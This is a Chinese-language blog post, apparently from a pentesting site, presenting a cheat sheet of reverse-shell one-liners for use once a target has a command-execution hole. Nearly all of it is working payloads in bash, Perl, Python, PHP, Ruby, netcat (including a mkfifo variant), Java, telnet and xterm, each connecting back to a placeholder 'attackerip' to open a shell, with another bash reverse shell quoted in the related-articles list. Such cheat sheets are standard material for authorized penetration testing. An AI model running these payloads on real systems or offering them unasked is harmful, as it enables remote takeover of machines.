Reverse Shell 备忘录

作者: RedTeamWing | 来源:发表于2017-12-19 18:48 被阅读22次

在渗透测试中,若目标存在命令执行漏洞,我们的最终目标是获得目标的系统权限,在那之前我们可以利用命令执行建立一个交互式shell,环境不同,反弹shell的姿势也不一样,下面的根据不同环境来量身定制!

bash

bash -i >& /dev/tcp/attackerip/8080 0>&1

Perl

perl -e 'use Socket;$i="attackerip";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("attackerip",5555);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("attackerip",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

nc -e /bin/sh attackerip 5555

如果您安装了netcat的错误版本,您仍可以像这样获取您的反向shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 5555 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
Or:
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp

xterm

xterm -display attackerip:1

The End!

hackerwing.com

相关文章

  • Reverse Shell 备忘录

    在渗透测试中,若目标存在命令执行漏洞,我们的最终目标是获得目标的系统权限,在那之前我们可以利用命令执行建立一个交互...

  • kail工具介绍

    反弹Shell https://www.cnblogs.com/cocowool/p/reverse-shell....

  • [工具介绍] 反弹 shell 管理工具

    GitHub 仓库 https://github.com/WangYihang/Reverse-Shell-Man...

  • vim查看二进制

    xxd是shell命令,make a hexdump or do the reverse.:!command是执行...

  • 反弹shell小结

    本文仅作为学习记录,如果侵权,请联系删除。 概念理解: 反弹shell(reverse shell),就是控制端监...

  • 反弹shell的方法总结

    前言 什么是反弹shell(reverse shell)?就是控制端监听某TCP/UDP端口,被控端发起请求到该端...

  • 反弹shell

    0X01 什么是反弹shell reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到...

  • 反弹shell

    Reverse Shell bash反弹服务端: bash -c 'sh -i &>/dev/tcp/210.28...

  • python reverse shell(1)

    基本结构: 1. client: 部署后试图连接服务器,接受服务器传入指令,在本地运行,并向服务器反馈执行结果。 ...

  • python reverse shell(2) - argpar

    1. argparse基本调用结构: 1.1初始化parser对象: parser = argparse.Argu...

网友评论

    本文标题:Reverse Shell 备忘录

    本文链接:https://www.haomeiwen.com/subject/quyiwxtx.html